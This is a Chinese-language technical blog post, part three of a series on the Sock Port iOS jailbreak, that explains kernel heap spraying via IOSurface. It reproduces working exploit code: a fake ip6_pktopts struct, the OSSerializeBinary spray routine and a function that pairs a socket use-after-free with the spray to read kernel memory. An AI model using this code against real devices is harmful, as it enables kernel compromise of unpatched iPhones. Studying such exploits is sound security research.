iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying

Soulghost發表於2019-12-01

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
  2. iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address

前言

在上一篇文章中,我們介紹了基於 OOL Message 的 Port Address Spraying,這種 Spraying 的侷限性很大,只能對已釋放區域填充 Port Address。實現 tfp0 的一個關鍵點是在已釋放區域填充任意資料,這就需要我們尋找其他函式作為 Heap Spraying 的工具。

本文將介紹一種基於 IOSurface 的 Heap Spraying 方法,通過該方法能夠實現將任意資料噴射到指定位置。

IOSurface 是什麼

根據蘋果的文件[1],IOSurface Framework 的功能如下:

The IOSurface framework provides a framebuffer object suitable for sharing across process boundaries. It is commonly used to allow applications to move complex image decompression and draw logic into a separate process to enhance security.

即 IOSurface.framework 提供了一個跨程式共享的幀緩衝區,它常常用於把複雜的圖片解碼與繪製邏輯分離到單獨的程式以提高安全性。

瞭解了 IOSurface.framework,接下來根據 iPhone Dev Wiki 給出的描述[2]:

IOSurface is an object encompassing a kernel-managed rectangular pixel buffer in the IOSurface framework. It is a thin wrapper on top of an IOSurfaceClient object which actually interfaces with the kernel.

從這段描述我們可以提取出有效資訊:IOSurface 是一個被核心管理的物件,它是在 IOSurfaceClient 之上的一個封裝,既然這個物件被分配到核心的記憶體區域,我們就有機會利用它實現 Kernel Heap Spraying。

IOSurface Heap Spraying 使用場景

上一篇文章 的 Sock Port 概覽中我們提到可藉助 in6p_outputopts 成員實現不穩定的核心記憶體讀取和釋放,其實現原理是先偽造一個 in6p_outputopts 結構體,利用 minmtu 成員作為標誌位,再額外利用一個結構體指標 in6_pktinfo 賦予我們想要讀取的地址,如下所示:

// create a fake struct with our dangling port address as its pktinfo
struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
// give a number we can recognize
fake_opts->ip6po_minmtu = 0x41424344; 
// on iOS 10, minmtu offset is different
*(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;
// address to read
fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
複製程式碼

然後我們利用 Socket UAF 製造大量的已釋放 in6p_outputopts 區域,隨後將上述偽造的資料噴射到 Socket UAF 區域,通過 getsockopt 函式讀取 minmtu 確認 Spraying 成功,成功後再通過 getsockopt 讀取 ip6po_pktinfo 結構體,由於 ip6po_pktinfo 的大小為 20B,我們通過這種方式一次性可以讀取目標地址的 20B 資料。

不難看出,上述問題的關鍵在於如何實現 fake in6p_outputopts 的 Spraying,而 IOSurface 能夠向核心的緩衝區傳送任意資料,因此非常適合這個場景。

IOSurface Heap Spraying 詳解

首先我們看到 Sock Port 2 提供的 IOSurface 函式:

int spray_IOSurface(void *data, size_t size) {
    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}

bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
			data, data_size, callback);
}
複製程式碼

其中 Facade 函式為 spray_IOSurface,只需要提供待 Spraying 的資料和大小即可,它是 IOSurface_spray_with_gc 的簡單封裝,提供了對生成的 OSArray 的預設配置,array_count = 32 代表生成 32 個 Spraying Array,即進行 32 次 Heap Spraying,而 array_length = 256 代表每個陣列中包含了 256 個 Spraying Data。

XML 構造

IOSurface_spray_with_gc_internal 函式中,首先完成的是 OSSerializeBinary XML 的構造:

static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
    // 1. 建立一個 IOSurfaceRootClient 物件與核心通訊
    // Make sure our IOSurface is initialized.
    bool ok = IOSurface_init();
    if (!ok) {
    	return 0;
    }
    
    // 2. 我們當前的使用方式下 extra_count = 0,因此可以忽略 extra_count
    // How big will our OSUnserializeBinary dictionary be?
    uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
    
    // 3. 計算 Spraying Data 所需要的 XML 結點數
    size_t xml_units_per_data = xml_units_for_data_size(data_size);
    
    // 4. 這裡的多個 1 代表除去 Spraying Data 外的固定 XML 結點,後面具體構造會看到
    size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
    
    // 5. 構造傳入核心的 args,包含了待構造 xml 與其他描述內容
    // Allocate the args struct.
    struct IOSurfaceValueArgs *args;
    size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
    args = malloc(args_size);
    assert(args != 0);
    // Build the IOSurfaceValueArgs.
    args->surface_id = IOSurface_id;
    // Create the serialized OSArray. We'll remember the locations we need to fill in with our
    
    // 6. 每個 XML 都包含了一個 OSArray 來容納 Spraying Data
    // 這裡的 xml_data 陣列即容納 current_array_length(256) 個 xml_data
    // 每個 xml_data 包含一個 Spraying Data,它由多個 xml 結點組成
    // data as well as the slot we need to set our key.
    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
    assert(xml_data != NULL);
    uint32_t *key;
    
    // 7. 構造 XML
    size_t xml_size = serialize_IOSurface_data_array(args->xml,
    		current_array_length, data_size, xml_data, &key);
    assert(xml_size == xml_units * sizeof(args->xml[0]));
    // ...
複製程式碼

上述構造過程較為複雜,總共有 7 個關鍵步驟,在上面的程式碼中已通過註釋的方式說明,讀者可先粗略瞭解一下整個過程,接下來我們詳細分析這些過程。

XML Spraying 原理

在上述步驟 7 中我們構造了一個裝有 256 個 OSString 的 OSArray,其中 OSString 為序列化的 Spraying Data,通過 IOSurfaceRootClient 將 XML 送入核心緩衝區後,核心會為這些 OSString 分配空間,而 OSString 就是我們需要噴射的資料,因此通過這種方式成功的實現了任意資料的 Heap Spraying。

關鍵資料計算

用於 IOSurface 傳輸的 XML 物件的每個結點都可以用一個 uint32 表示,稱為 XML Unit,由於 IOSurface 呼叫必須指定輸入的長度,因此計算好每一輪 Spraying 使用的 XML 大小至關重要。

在步驟 3 中,我們計算了 Spraying Data 對應的 XML Units 數量:

// 3. 計算 Spraying Data 所需要的 XML 結點數
size_t xml_units_per_data = xml_units_for_data_size(data_size);

/*
 * xml_units_for_data_size
 *
 * Description:
 * 	Return the number of XML units needed to store the given size of data in an OSString.
 */
static size_t
xml_units_for_data_size(size_t data_size) {
    return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}
複製程式碼

由於序列化資料在核心中被表示為 OSString,所以我們需要考慮結尾的 \0,此時只能犧牲資料的最後一位作為 \0,因此實際計算的大小為 size - 1,接下來的公式就轉化為 (actual_size + n - 1) / n,這是典型的 Ceiling 函式,即對 actual_size 除以 4(XML Unit Size) 向上取整,最後得到的是每個 Spraying Data 對應的 OSString 所佔據的 XML Units Count,並儲存在 xml_units_per_data 中。

隨後在步驟 4 中,我們基於 xml_units_per_data 計算了 XML Units Count 的總數:

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
複製程式碼

其中 (1 + xml_units_per_data) * current_array_length 不難理解,即將 OSString Header + Data 結構重複 current_array_length 次後的 Units Count,前後的 3 個 1 均表示額外的描述性 XML Units。

最後在步驟 6 中,我們準備了一個 XML Units 指標陣列,用於指向 XML 中待填充 OSString 的 current_array_length 個區域的 Child Unit Header,該陣列會在 XML 構建過程中使用,將 current_array_length 個 OSString 的 Header Unit Address 儲存下來,以便接下來將 Spraying Data 拷貝到 XML 中。

構造過程

構造的關鍵在步驟 7 對 serialize_IOSurface_data_array 的呼叫:

#if 0
struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};
#endif
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
// 7. 構造 XML
uint32_t *key;
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);
複製程式碼

這裡的 args->xml 即 XML Units 指標,它通過指向一個 XML Header Unit 來引用 XML。

由於前期準備充分,這裡的計算並不複雜,只是對 XML 連結串列的拼接:

static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) {
    uint32_t *xml = xml0;
    *xml++ = kOSSerializeBinarySignature;
    *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    *xml++ = kOSSerializeArray | array_length;
    for (size_t i = 0; i < array_length; i++) {
    	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
    	*xml++ = kOSSerializeData | (data_size - 1) | flags;
    	xml_data[i] = xml;
    	xml += xml_units_for_data_size(data_size);
    }
    *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
    *key = xml++; // This will be filled in on each array loop.
    *xml++ = 0;	// Null-terminate the symbol.
    return (xml - xml0) * sizeof(*xml);
}
複製程式碼

xml0 為當前 XML 的 Header Units,我們定義一個 xml 變數作為 Cursor,逐步構建 XML,每個 XML Unit 都由一個 uint32 描述,以頭部 3 句為例:

*xml++ = kOSSerializeBinarySignature;
*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++ = kOSSerializeArray | array_length;
複製程式碼

它相當於宣告瞭如下 XML 結構:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
複製程式碼

它正好是上文中計算 XML Units Count 的前面 3 個 1。

隨後的迴圈中將 array_length 個 OSString 填充到 OSArray 中,並將這些 OSString 的 XML Unit Address 存入 xml_data 指標陣列:

for (size_t i = 0; i < array_length; i++) {
	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
	*xml++ = kOSSerializeData | (data_size - 1) | flags;
	xml_data[i] = xml;
	xml += xml_units_for_data_size(data_size);
}
複製程式碼

這構建瞭如下的 XML:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
複製程式碼

最後填充的是尾部的 XML Units:

*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.
複製程式碼

這裡包含了 3 個 Units:

<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
複製程式碼

這也印證了上文 XML Units 計算的尾部的 +3,因此最後得到的 XML 為:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0
複製程式碼

此時 XML 結構已經構建完畢,只需要向 xml_data 佔位符中填充 Spraying Data,向 key 中填充識別符號即可完成組裝。

組裝資料

接下來的程式碼完成的是資料填充和向核心傳送資料,基於上面的討論很好理解:

// Keep track of when we need to do GC.
static uint32_t total_arrays = 0;
size_t sprayed = 0;
size_t next_gc_step = 0;
// Loop through the arrays.
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
    // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
    // next one.
    // Now build the array and its elements.
    // 1. 生成唯一識別符號填充到 key
    *key = base255_encode(total_arrays + array_id);
    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
        // Copy in the data to the appropriate slot.
        // 2. 將資料填充到 OSString
        memcpy(xml_data[data_id], data, data_size - 1);
    }
    
    // 3. 向核心傳送資料
    // Finally set the array in the surface.
    ok = IOSurface_set_value(args, args_size);
    if (!ok) {
    	free(args);
    	free(xml_data);
    	return false;
    }
    if (ok) {
        sprayed += data_size * current_array_length;
    }
}
複製程式碼

通過上述程式碼中標出的 3 個關鍵步驟即可將組裝好的 XML 送入核心幀緩衝區,核心會為其中的 OSString 分配記憶體,在這個過程中就完成了 Heap Spraying。

使用 IOSurface Heap Spraying 實現 kread

通過構造多個懸垂的 in6p_outputopts,再以偽造的 in6p_outputopts 進行 spraying,將偽造資料結構的 pktinfo 指向待讀取地址,minmtu 作為識別符號,進行 IOSurface Spraying,隨後基於 minmtu 挑選成功 Spraying 的懸垂 in6p_outputopts 區域,使用 getsockopt 獲取 pktinfo 結構體內容,由於該結構體大小為 20B,我們由此拿到了指定核心地址 20B 的資料:

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}
複製程式碼

總結

本文介紹了一種更通用的 Heap Spraying 方案,並介紹了通過該方案實現 kread 的過程和原理。

下節預告

通過 IOSurface Spraying 不僅能實現 kread,也可以實現 kfree。在下一篇文章中,我們將介紹通過 kread + kfree 的組合實現 tfp0 的最後幾個步驟。

iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying

參考資料

  1. IOSurface Framework. Apple Document
  2. IOSurface. iPhone Dev Wiki
  3. Sock Port 2. jakeajames

相關文章